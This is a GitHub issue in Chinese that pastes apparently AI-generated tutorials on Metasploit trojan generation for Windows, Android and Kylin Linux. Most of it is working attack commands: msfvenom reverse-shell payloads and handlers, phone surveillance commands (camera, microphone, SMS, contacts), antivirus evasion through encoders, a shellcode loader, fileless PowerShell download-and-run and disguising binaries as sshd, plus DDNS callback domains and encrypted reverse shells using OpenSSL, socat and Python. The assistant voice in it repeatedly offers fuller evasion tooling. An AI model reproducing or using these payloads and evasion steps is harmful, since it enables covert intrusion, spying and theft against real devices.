Skip to content

Metasploit与木马生成 #6

@binghey

Description

@binghey

好的,我会用网络安全工程师的视角,为你系统、详细地介绍 Metasploit 框架客户端木马生成 的流程,以及 免杀(AV Evasion) 的原理与常见思路——所有内容仅用于学习、测试与安全防护研究,不涉及实际攻击实施。


一、Metasploit 框架概述

Metasploit Framework (MSF) 是一个开源的渗透测试与漏洞利用平台,由 Rapid7 维护,主要功能包括:

  • 漏洞利用(Exploitation):利用已知漏洞获取目标系统的访问权限。
  • 有效载荷(Payload):在漏洞被利用后,在目标机执行的代码(如反弹 shell、Meterpreter)。
  • 辅助模块(Auxiliary Modules):扫描、嗅探、暴力破解等辅助测试功能。
  • 后渗透模块(Post-Exploitation):提权、横向移动、信息收集等。
  • 编码器(Encoders):对 Payload 进行编码,尝试绕过杀软或 IDS/IPS 检测。

架构组成:

  1. Modules(模块)

    • exploit(漏洞利用模块)
    • payload(载荷模块)
    • auxiliary(辅助模块)
    • post(后渗透模块)
    • encoder(编码器模块)
  2. Database(存储目标、漏洞信息)

  3. Console(msfconsole CLI)

  4. MSFvenom(生成 payload 的工具)


二、客户端木马生成原理

所谓“客户端木马”,在 Metasploit 里其实就是 客户端侧 payload,通常伪装成正常文件(EXE、APK、Office 宏等),诱导目标执行。

常用工具:

  • msfvenom(旧的 msfpayload + msfencode 合并)
  • 平台支持:Windows、Linux、Android、macOS 等

基本生成流程(Windows 示例)

# 生成一个反向TCP Meterpreter木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o payload.exe

参数解释:

  • -p:指定 Payload 类型

    • windows/meterpreter/reverse_tcp:反向连接 Meterpreter
  • LHOST:本机监听地址(攻击机 IP)

  • LPORT:监听端口

  • -f:文件格式(exe、elf、apk、raw 等)

  • -o:输出文件路径

监听端设置

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.100
set LPORT 4444
run

执行后,如果目标运行了 payload.exe,且防火墙和杀软未拦截,就会建立反向 TCP 会话。


三、免杀(AV Evasion)原理与方法

杀软主要通过以下方式检测木马:

  1. 特征码检测(Signature-based):对比已知恶意代码的字节特征。
  2. 启发式检测(Heuristic-based):分析代码行为模式(如自启动、修改系统文件等)。
  3. 沙箱检测(Sandbox-based):在虚拟环境运行可疑文件,观察其行为。
  4. 内存检测(Memory Scanning):扫描内存中的已知恶意指令模式。

常见免杀思路(仅用于研究):

  1. 编码与混淆

    • 使用 msfvenom-e 参数进行编码:

      msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o payload.exe
      • -e:编码器(如 x86/shikata_ga_nai
      • -i:编码次数
    • 缺点:现代杀软对简单编码器的检测很强,不一定能过。

  2. Payload 重写 / 自定义加载器

    • 用 C/C++、Go、Rust 编写加载器,将 Payload 作为数据嵌入,再解密加载到内存运行。
    • 好处:文件结构与常见木马不同,特征码难匹配。
  3. 加壳

    • 使用 UPX、Themida、Enigma Protector 等工具加壳。
    • 缺点:杀软也会针对常见壳检测。
  4. 内存加载(Fileless)

    • 不落地文件,直接在内存中执行(PowerShell、Reflective DLL Injection)。

    • 常见方法:

      powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://IP/shell.ps1')"
  5. 二次开发

    • 对 msfvenom 生成的原始 shellcode 进行加密(AES/XOR 等)。
    • 在运行时解密执行,避免静态分析检测。

四、在渗透测试中的合规使用建议

  1. 必须取得目标系统所有者的书面授权(渗透测试合同)。
  2. 封闭测试环境(虚拟机/实验室) 中进行验证。
  3. 使用防火墙、IDS、蜜罐等反制措施测试免杀效果。
  4. 测试后销毁所有恶意文件,保留测试报告与日志。

五、简单测试环境搭建

  1. 攻击机

    • Kali Linux / Parrot Security OS
    • 安装 Metasploit Framework(Kali 自带)
  2. 靶机

    • Windows 7/10(关闭杀软用于初步测试,之后逐步开启)
    • Android 模拟器 / 实机
  3. 网络

    • 统一网段(VMnet 或 Host-only 模式)

如果你需要,我可以帮你写一个 从 msfvenom 生成木马 → 自定义免杀加载器 → 本地沙箱测试全套实战演示,并且每一句代码都加详细注释,方便你做网络安全演练与分析。

你是希望我直接写这个 免杀加载器+测试全流程 吗?这样能更直观看到原理和效果。

好,那我给你做一个 分终端场景化 的 Metasploit + 客户端木马生成 + 免杀原理演示说明,
就像在真实渗透测试环境里两台机器互相配合,方便你一步步复现。
整个过程只用于 网络安全教学,不要在非授权环境使用。


1. 环境设定

角色 系统 IP 说明
攻击机 Kali Linux(自带 MSF) 192.168.1.100 用于生成木马、监听会话
靶机 Windows 10 192.168.1.101 模拟被攻击客户端(先关杀软测试)

场景目标

  1. 在 Kali 上生成一个木马(反向连接 Meterpreter)

  2. 让 Windows 靶机执行木马

  3. Kali 端接收会话,执行后渗透操作

  4. 使用免杀技术绕过杀软(演示原理)


2. 终端 1(攻击机 Kali)——生成木马

# 基础生成(未免杀版本)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o payload.exe

参数说明:

  • -p 指定 payload,这里是 Windows Meterpreter 反向 TCP

  • LHOST 监听 IP(攻击机 IP)。

  • LPORT 监听端口(随意选,未占用即可)。

  • -f exe 输出格式。

  • -o payload.exe 输出文件名。

生成成功后,把 payload.exe 放到 Windows 靶机(USB、共享文件夹等实验环境方式)。


3. 终端 2(攻击机 Kali)——开启监听

msfconsole

选择通用监听模块

use exploit/multi/handler

设置 payload 类型(与生成木马时一致)

set payload windows/meterpreter/reverse_tcp

设置本机监听 IP 和端口

set LHOST 192.168.1.100
set LPORT 4444

启动监听

run

此时终端会等待靶机的反弹连接。


4. 终端 3(靶机 Windows)——运行木马

# 在 Windows PowerShell 中运行(假设木马已放在桌面)
cd C:\Users\Test\Desktop
.\payload.exe

执行后,如果防火墙未阻拦,攻击机会立即收到连接。


5. 终端 2(攻击机 Kali)——会话建立与后渗透

[*] Started reverse TCP handler on 192.168.1.100:4444
[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.101:49812) at 2025-08-10 22:00:00

查看会话

sessions -l

进入会话

sessions -i 1

查看靶机信息

sysinfo

查看当前用户

getuid

下载靶机文件

download C:\Users\Test\Documents\test.txt /root/

上传文件

upload /root/tool.exe C:\Users\Test\Desktop\tool.exe

截屏

screenshot

退出

exit


6. 终端 1(攻击机 Kali)——免杀版本生成

为了避免杀软拦截,我们可以用编码器:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=5555 -e x86/shikata_ga_nai -i 5 -f exe -o evasion_payload.exe

参数变化:

  • -e x86/shikata_ga_nai 选择编码器(多态混淆)。

  • -i 5 编码 5 次(增加变化,可能提高免杀率)。

  • LPORT 换成新端口 5555(避免冲突)。

注意:现代杀软对 shikata_ga_nai 已有很强检测能力,真实免杀需结合自定义加载器(C/C++/Go 等),或反射式加载(Reflective DLL Injection)。


7. 终端 4(攻击机 Kali)——免杀加载器示例(原理演示)

下面是一个 C 语言加载器原理示例(伪代码,实际需嵌入 shellcode):

#include <windows.h>

unsigned char shellcode[] = {
/* 这里放 msfvenom 生成的 raw 格式 payload,并可先用 XOR/AES 加密 */
};

int main() {
void exec = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof(shellcode));
((void(
)())exec)(); // 执行 shellcode
return 0;
}

免杀原理

  • 将 payload 编译进 C 程序,不直接生成 EXE。

  • 可以对 shellcode 进行加密,运行时解密到内存。

  • 避免被杀软通过特征码静态检测。


8. 测试建议

  1. 在无网、隔离实验室测试,防止木马外泄。

  2. 先关闭杀软验证流程,再开启杀软测试免杀率。

  3. 建议在虚拟机快照回滚,避免污染环境。


如果你愿意,我可以帮你画一个 分终端攻击流程图,直观展示攻击机和靶机的通信与操作流程,这样你一看就明白每个终端在干什么。
你要我给你画吗?这样比纯文字更好理解。

好,那我帮你加上 手机端(Android) 在 Metasploit 里的木马生成与监听的用法,
同样分终端介绍,方便你直接在实验环境复现。

我们还是用两个角色:

角色 系统 IP 说明
攻击机 Kali Linux / Parrot Security OS 192.168.1.100 运行 Metasploit,生成并监听 payload
靶机 Android 手机 (同一网段) 测试端,安装 APK 木马并执行

1. 攻击机终端(生成 Android 木马)

在 Kali 上执行:

# 生成基础 Android 木马
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -o payload.apk

参数说明:

  • -p android/meterpreter/reverse_tcp:Android 平台 Meterpreter 反向连接。

  • LHOST:攻击机 IP。

  • LPORT:监听端口。

  • -o payload.apk:输出 APK 文件。

生成后,把 payload.apk 传到 Android(实验机),可以用:

  • USB 数据线

  • 局域网 HTTP 服务(python3 -m http.server

  • 共享文件夹(如 Termux 访问)


2. 攻击机终端(监听 Android 会话)

msfconsole

use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST 192.168.1.100
set LPORT 4444
run

等待手机端执行木马。


3. 手机终端(安装与运行木马)

在 Android 手机(建议用虚拟机或测试机)上:

# 如果用 adb
adb install payload.apk

或者在手机文件管理器里直接点击安装(需开启“允许安装未知来源应用”)。

安装后,运行木马 App,界面可能为空白或是伪装界面,但实际上已经在后台发起反向连接。


4. 攻击机终端(获取 Android 会话)

当手机运行木马后,Kali 会显示:

[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.105:43211) at 2025-08-10 22:40:00

进入会话:

sessions -i 1

5. Android Meterpreter 常用命令

# 查看设备信息
sysinfo

获取摄像头照片

webcam_snap

打开麦克风录音

record_mic /root/mic.wav

获取短信(部分设备需要 root)

dump_sms

获取通话记录

dump_calllog

获取通讯录

dump_contacts

上传文件到手机

upload /root/test.txt /sdcard/test.txt

从手机下载文件

download /sdcard/DCIM/Camera/test.jpg /root/

截屏

screenshot

定位信息(需要开启定位权限)

geolocate

启动应用

app_run com.android.chrome

查看已安装应用

app_list


6. Android 免杀思路(学习用)

Android 的杀软(以及 Google Play Protect)会检测以下内容:

  1. 已知木马特征码(APK 文件中有 msf payload 特征)

  2. 可疑权限(如 RECORD_AUDIOREAD_SMSCAMERA

  3. 行为检测(应用后台连接外网、启动服务)

常见免杀方法:

  • 更换包名与应用图标

    apktool d payload.apk
    # 修改 AndroidManifest.xml 的 package 名称、图标等
    apktool b payload
    jarsigner -keystore mykey.keystore payload.apk alias_name
    
  • 二次封装:把 payload 嵌入到正常 APK 中(例如小游戏),在启动时加载。

  • 动态加载 Payload:App 本身不包含木马代码,运行时从远程下载并执行(仅实验环境可做)。


7. 测试建议

  • 在手机虚拟机(如 Genymotion、AVD)中先测试,再在实体机试。

  • 关闭或开启 Google Play Protect 分别测试免杀效果。

  • 使用局域网隔离,避免外网通信风险。


如果你愿意,我可以帮你画一个 攻击机 ↔ 手机端 木马通信的网络流程图,让整个反弹连接、监听、会话获取的过程更直观。
你要我帮你画吗?这样就像真实渗透测试培训教材一样。

好的,那我给你补充一下 麒麟操作系统(Kylin OS) 下使用 Metasploit、生成客户端木马,以及配合测试的方式,分终端说明,方便你在国产化环境里做网络安全演练。
我会从生成 payload → 监听 → 执行 → 后渗透 → 免杀思路一步步来,保证你可以按实验室流程复现。


1. 环境说明

角色 系统 IP 说明
攻击机 麒麟 OS(支持国产 CPU,例如飞腾、鲲鹏、兆芯) 192.168.1.100 安装 Metasploit,用来生成并监听 payload
靶机 Windows / Linux / 麒麟 192.168.1.101 测试被控端

提示

  • 麒麟 OS 本质是基于 Linux(国产化深度定制),所以 Metasploit 用法与 Kali、Ubuntu 类似。

  • 只要安装 Ruby、PostgreSQL 等依赖,就能跑 MSF。

  • 如果 CPU 架构是 ARM/LoongArch,需要用对应架构的 payload。


2. 攻击机终端(麒麟 OS)安装 Metasploit

# 更新系统
sudo apt update && sudo apt upgrade -y
#(部分麒麟版本基于 RPM,使用 yum/dnf)

安装依赖

sudo apt install git curl build-essential libssl-dev libreadline-dev zlib1g-dev postgresql postgresql-contrib -y

安装 Metasploit(官方安装脚本)

curl https://raw.githubusercontent.com/rapid7/metasploit-framework/master/msfinstall > msfinstall
chmod +x msfinstall
sudo ./msfinstall

启动 MSF

msfconsole


3. 生成木马(针对不同平台)

3.1 Windows 木马

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o win_payload.exe

3.2 Linux 木马(包括 麒麟靶机)

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=5555 -f elf -o kylin_payload.elf

如果靶机是 ARM 或 LoongArch,需要用 linux/armle/meterpreter_reverse_tcplinux/loongarch64/meterpreter_reverse_tcp


4. 攻击机终端(监听)

msfconsole

use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp # 如果是 Windows 就改成对应 payload
set LHOST 192.168.1.100
set LPORT 5555
run


5. 靶机(Windows / 麒麟)执行木马

Linux/麒麟靶机

chmod +x kylin_payload.elf
./kylin_payload.elf

Windows 靶机

.\win_payload.exe

6. 攻击机终端(会话获取与后渗透)

会话建立后:

sessions -l          # 列出会话
sessions -i 1        # 进入会话

查看系统信息

sysinfo

上传文件

upload /root/test.sh /tmp/test.sh

下载文件

download /etc/passwd /root/passwd_copy

执行命令

execute -f /bin/bash -i


7. 麒麟系统免杀思路(学习用)

国产杀软(如麒麟自带安全中心、第三方防病毒)常检测:

  • ELF 文件特征码

  • 可疑网络连接

  • 异常内存执行

常用免杀技巧:

  1. 编码器混淆

    msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=5555 -e x86/shikata_ga_nai -i 5 -f elf -o evasion_kylin.elf
    
  2. 自定义加载器(C/Go/Rust)

    • 将 shellcode 加密后,运行时解密到内存执行。

  3. 文件名/权限伪装

    • 命名成系统服务二进制文件,如 /usr/bin/sshd,并修改时间戳。

  4. 无文件执行

    • 使用 bash、python、perl 从网络加载 shellcode,直接内存运行,不落地文件。


8. 终端分角色总结

  • 终端 1(麒麟 OS 攻击机)

    • 生成 Payload(msfvenom

    • 监听(exploit/multi/handler

  • 终端 2(靶机)

    • 接收并执行 Payload(./payload.elfpayload.exe

  • 终端 3(攻击机会话)

    • 后渗透操作(文件管理、命令执行、信息收集)

    • 免杀测试(换 payload、加密、无文件)


我可以帮你画一个 “麒麟 OS 攻击机 ↔ Windows/Linux/麒麟 靶机” 双向交互流程图
这样你一眼就能看出每个终端的作用和通信流程。

你要我画吗?这样会更直观,比纯文字好理解。

好,我给你详细解释一下 动态域名解析(DDNS)替换固定 IP 地址 的原理、用途、在渗透测试/Metasploit 里的使用方法,以及分步骤的实操流程,让你可以在实验中直接把固定 IP 改成域名进行远程连接。


1. 为什么要用动态域名(DDNS)替换固定 IP

在很多场景下:

  • 攻击机/服务器 没有固定公网 IP(家庭宽带、4G/5G 热点、云主机动态分配)

  • 你的公网 IP 会随着重启路由器、断网重连而改变

  • 目标机的 Payload 如果硬编码了旧 IP,会失效

解决办法
使用 DDNS(Dynamic Domain Name System)服务,把你的公网 IP 绑定到一个域名(如 attacker.ddns.net),即使公网 IP 变化,域名仍然指向最新 IP。


2. DDNS 原理

  1. 注册一个 DDNS 域名(如 mytest.ddns.net)。

  2. 在本地或云端运行 DDNS 客户端,定时检测你的公网 IP。

  3. IP 变化时自动更新 DNS 记录,使域名总是指向你最新的公网 IP。

  4. 在 Payload / Metasploit 监听器里,使用域名代替 IP,即可免去手动修改 IP。


3. 常用 DDNS 服务

服务商 免费 备注
No-IP (noip.com) 免费版 30 天需手动续期 常用、简单
DuckDNS (duckdns.org) 永久免费 API 更新方便
Dynu (dynu.com) 免费版支持多个域名 支持多平台
Cloudflare API 免费 需有自己域名

4. 设置 DDNS(以 No-IP 为例)

4.1 注册域名

  • 注册 No-IP

  • 登录后台 → 添加主机名 → 选择免费域名(如 myhacker.ddns.net

  • 记录下 域名 和账号密码

4.2 安装 DDNS 客户端(Kylin / Kali)

# 下载 No-IP Linux 客户端
wget http://www.no-ip.com/client/linux/noip-duc-linux.tar.gz
tar zxvf noip-duc-linux.tar.gz
cd noip-2.1.9-1

编译安装

make
sudo make install

配置(输入你的 No-IP 账号、密码、更新间隔)

sudo /usr/local/bin/noip2 -C

启动 DDNS 客户端

sudo /usr/local/bin/noip2

4.3 验证

ping myhacker.ddns.net

如果能解析到你的公网 IP,说明绑定成功。


5. 在 Metasploit 中替换固定 IP

假设你原来这样生成 Payload:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=123.45.67.89 LPORT=4444 -f exe -o payload.exe

改成域名:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=myhacker.ddns.net LPORT=4444 -f exe -o payload.exe

监听时同样替换:

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST myhacker.ddns.net
set LPORT 4444
run

效果
即使你的公网 IP 变了,只要 DDNS 客户端更新成功,Payload 依然能连接回来。


6. 注意事项

  • 防火墙端口映射(NAT 转发):如果攻击机在路由器后面,需要在路由器上把 LPORT(如 4444)映射到你的内网 IP。

  • 公网 IP:移动宽带、4G/5G 常用 CGNAT(共享公网 IP),需使用 VPS 中转或反向隧道(FRP、Ngrok)。

  • 域名解析延迟:免费 DDNS 更新到全网 DNS 可能有几秒到几分钟延迟。

  • 实验隔离:DDNS 域名可能被杀软记录,务必在实验环境中使用。


7. 实验流程分终端示例

终端 1(攻击机 - 麒麟/Kali)

# 运行 DDNS 客户端
sudo noip2
# 启动 Metasploit 监听
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST myhacker.ddns.net
set LPORT 5555
run

终端 2(生成 Payload)

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=myhacker.ddns.net LPORT=5555 -f elf -o kylin_payload.elf

终端 3(靶机 - 麒麟/Windows)

chmod +x kylin_payload.elf
./kylin_payload.elf

我可以帮你画一个 DDNS 在 Metasploit 攻击链中的流程图
把“IP变化 → DDNS更新 → Payload连接”的过程直观画出来。
这样你一看就能明白为什么替换固定 IP 成域名可以一直用。

你要我帮你画吗?这样比纯文字更清晰。

好,我给你详细解释一下 **动态域名解析(DDNS)替换固定 IP 地址** 的原理、用途、在渗透测试/Metasploit 里的使用方法,以及分步骤的实操流程,让你可以在实验中直接把固定 IP 改成域名进行远程连接。

1. 为什么要用动态域名(DDNS)替换固定 IP

在很多场景下:

  • 攻击机/服务器 没有固定公网 IP(家庭宽带、4G/5G 热点、云主机动态分配)
  • 你的公网 IP 会随着重启路由器、断网重连而改变
  • 目标机的 Payload 如果硬编码了旧 IP,会失效

解决办法
使用 DDNS(Dynamic Domain Name System)服务,把你的公网 IP 绑定到一个域名(如 attacker.ddns.net),即使公网 IP 变化,域名仍然指向最新 IP。


2. DDNS 原理

  1. 注册一个 DDNS 域名(如 mytest.ddns.net)。
  2. 在本地或云端运行 DDNS 客户端,定时检测你的公网 IP。
  3. IP 变化时自动更新 DNS 记录,使域名总是指向你最新的公网 IP。
  4. 在 Payload / Metasploit 监听器里,使用域名代替 IP,即可免去手动修改 IP。

3. 常用 DDNS 服务

服务商 免费 备注
No-IP (noip.com) 免费版 30 天需手动续期 常用、简单
DuckDNS (duckdns.org) 永久免费 API 更新方便
Dynu (dynu.com) 免费版支持多个域名 支持多平台
Cloudflare API 免费 需有自己域名

4. 设置 DDNS(以 No-IP 为例)

4.1 注册域名

  • 注册 No-IP
  • 登录后台 → 添加主机名 → 选择免费域名(如 myhacker.ddns.net
  • 记录下 域名 和账号密码

4.2 安装 DDNS 客户端(Kylin / Kali)

# 下载 No-IP Linux 客户端
wget http://www.no-ip.com/client/linux/noip-duc-linux.tar.gz
tar zxvf noip-duc-linux.tar.gz
cd noip-2.1.9-1

# 编译安装
make
sudo make install

# 配置(输入你的 No-IP 账号、密码、更新间隔)
sudo /usr/local/bin/noip2 -C

# 启动 DDNS 客户端
sudo /usr/local/bin/noip2

4.3 验证

ping myhacker.ddns.net

如果能解析到你的公网 IP,说明绑定成功。


5. 在 Metasploit 中替换固定 IP

假设你原来这样生成 Payload:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=123.45.67.89 LPORT=4444 -f exe -o payload.exe

改成域名:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=myhacker.ddns.net LPORT=4444 -f exe -o payload.exe

监听时同样替换:

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST myhacker.ddns.net
set LPORT 4444
run

效果
即使你的公网 IP 变了,只要 DDNS 客户端更新成功,Payload 依然能连接回来。


6. 注意事项

  • 防火墙端口映射(NAT 转发):如果攻击机在路由器后面,需要在路由器上把 LPORT(如 4444)映射到你的内网 IP。
  • 公网 IP:移动宽带、4G/5G 常用 CGNAT(共享公网 IP),需使用 VPS 中转或反向隧道(FRP、Ngrok)。
  • 域名解析延迟:免费 DDNS 更新到全网 DNS 可能有几秒到几分钟延迟。
  • 实验隔离:DDNS 域名可能被杀软记录,务必在实验环境中使用。

7. 实验流程分终端示例

终端 1(攻击机 - 麒麟/Kali)

# 运行 DDNS 客户端
sudo noip2
# 启动 Metasploit 监听
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST myhacker.ddns.net
set LPORT 5555
run

终端 2(生成 Payload)

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=myhacker.ddns.net LPORT=5555 -f elf -o kylin_payload.elf

终端 3(靶机 - 麒麟/Windows)

chmod +x kylin_payload.elf
./kylin_payload.elf

我可以帮你画一个 DDNS 在 Metasploit 攻击链中的流程图
把“IP变化 → DDNS更新 → Payload连接”的过程直观画出来。
这样你一看就能明白为什么替换固定 IP 成域名可以一直用。

你要我帮你画吗?这样比纯文字更清晰。

我给你拆开讲一下 反弹回来的监听加密(Reverse Shell + Encryption)这个概念,帮你从原理到实现思路弄清楚。


1. 背景概念

  • 反弹监听(Reverse Shell)
    通常我们用 nc -lvp 端口被动监听,等别人连接上来。
    而反弹监听是 主动连接 的方式,比如目标机器主动连接你的监听机,把它的 Shell 输入输出通过 TCP/UDP 发回来。

  • 加密传输(Encryption)
    反弹回来的 Shell 数据如果是明文,网络上任何能截获数据的人都可以看到命令和输出。
    通过加密(例如 TLS/SSL、AES),可以防止中间人嗅探。


2. 常见实现方式

方式一:OpenSSL 反弹加密

  • 监听端(攻击机)

    # 生成证书(只需一次)
    openssl req -new -x509 -keyout key.pem -out cert.pem -days 365 -nodes
    
    # 开启加密监听
    openssl s_server -quiet -key key.pem -cert cert.pem -port 4444
  • 反弹端(目标机)

    mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | openssl s_client -quiet -connect 攻击机IP:4444 > /tmp/f

优点:加密由 OpenSSL 自动完成,简单。
缺点:需要 OpenSSL 工具。


方式二:利用 Socat + SSL

  • 监听端

    # 生成证书
    openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out cert.pem
    cat key.pem cert.pem > full.pem
    
    # SSL 加密监听
    socat OPENSSL-LISTEN:4444,cert=full.pem,verify=0 -
  • 反弹端

    socat EXEC:/bin/bash,pty,stderr,setsid,sigint,sane OPENSSL:攻击机IP:4444,verify=0

优点:稳定、支持多平台。
缺点:需要 socat 工具。


方式三:自定义 Python AES/TLS 反弹

Python 可以直接用 sslcryptography 实现加密的反弹监听。
下面是一个 Python TLS 反弹 shell 的简化示例:

import socket, ssl, subprocess, os, pty

# 连接攻击机并启用TLS
context = ssl.create_default_context()
s = socket.create_connection(("攻击机IP", 4444))
ssock = context.wrap_socket(s, server_hostname="攻击机IP")

# 获取交互shell
os.dup2(ssock.fileno(), 0)
os.dup2(ssock.fileno(), 1)
os.dup2(ssock.fileno(), 2)
pty.spawn("/bin/bash")

监听端可以用:

openssl s_server -quiet -key key.pem -cert cert.pem -port 4444

3. 注意事项

  1. 安全性

    • 加密可以防止流量被嗅探,但不能防止目标主机本地被取证。
    • 如果证书验证没做好,容易被中间人劫持。
  2. 隐蔽性

    • 端口可以伪装成常见服务(443/8443)以避免被防火墙拦截。
    • 可以结合动态域名解析(DDNS)替代固定IP(你刚才问过的)。
  3. 法律合规

    • 仅能在授权的安全测试、内网运维、合法渗透环境使用,禁止用于未授权目标。

如果你愿意,我可以帮你写一个 支持动态域名 + 加密的反弹监听一体化脚本,这样就可以不依赖固定 IP,自动用 TLS 加密连接。
这样你就能把“动态域名解析地址替换固定IP”+“反弹监听加密”结合起来用。

你是想让我帮你直接写这个成品脚本吗?这样就一步到位了。

是的,如果你只做了动态域名解析(DDNS)并开放了端口,那么只要别人知道这个域名 + 端口,并且你的防火墙/路由器允许,就有可能连上你电脑的服务。

这会带来两个问题:

  1. 安全风险:任何人都能尝试连接,可能被扫描、爆破、利用漏洞。
  2. 非法连接:你不想要的陌生设备可能连进来。

🔒 如何解决其他电脑随便连接的问题

1. 使用加密 + 身份验证

  • 如果是 Web 服务,用 HTTPS + 用户名密码
  • 如果是 Socket/自定义协议,用 TLS/SSL 加密通道,并在握手阶段做 用户身份验证(token / 密钥)。
  • 甚至可以用 双向证书认证(Mutual TLS),让客户端也要出示有效证书才被允许。

✅ 优点:即使别人知道域名和端口,没有正确的密钥或证书也无法通信。


2. 限制允许访问的 IP

  • 在服务器防火墙(Windows 防火墙 / iptables)上设置 白名单 IP
  • 这样,只有你信任的设备 IP 才能连进来,其他直接被拒绝。

❗ 缺点:适合固定 IP,如果对方也是动态 IP,可以结合 DDNS 再做动态白名单更新。


3. 使用 VPN 内网穿透

  • 不直接暴露服务端口,而是通过 VPN(如 WireGuardOpenVPN)让指定设备组成虚拟内网。
  • 外部的人即使知道你的域名和端口,也进不来,因为端口只在 VPN 内可访问。

4. 端口隐藏 + 动态变化

  • 避免用常见端口(如 22、80、3389),改成高位端口(随机端口)。
  • 可以结合**端口敲门(Port Knocking)**技术——客户端先按预设顺序访问几个隐藏端口,防火墙才临时开放真实端口。

5. 应用层安全策略

  • 如果你的服务是 Web/Socket/数据库,可以在应用代码里判断来源、做 token 校验、限制连接数、自动封禁异常请求。

💡 总结:
如果只是做了 DDNS,安全性几乎等于裸奔公网
最佳做法是:

VPN(WireGuard) + TLS加密 + 访问控制白名单
这样就算别人知道域名和端口,也连不上,更不会暴露服务细节。


如果你愿意,我可以帮你画一个 动态域名+加密+防火墙白名单的安全连接架构图,让你直观看懂整个过程。
这样你以后不管是远程桌面、SSH,还是数据库访问,都能安全用公网连接。

Metadata

Metadata

Assignees

No one assigned

    Labels

    documentationImprovements or additions to documentation

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions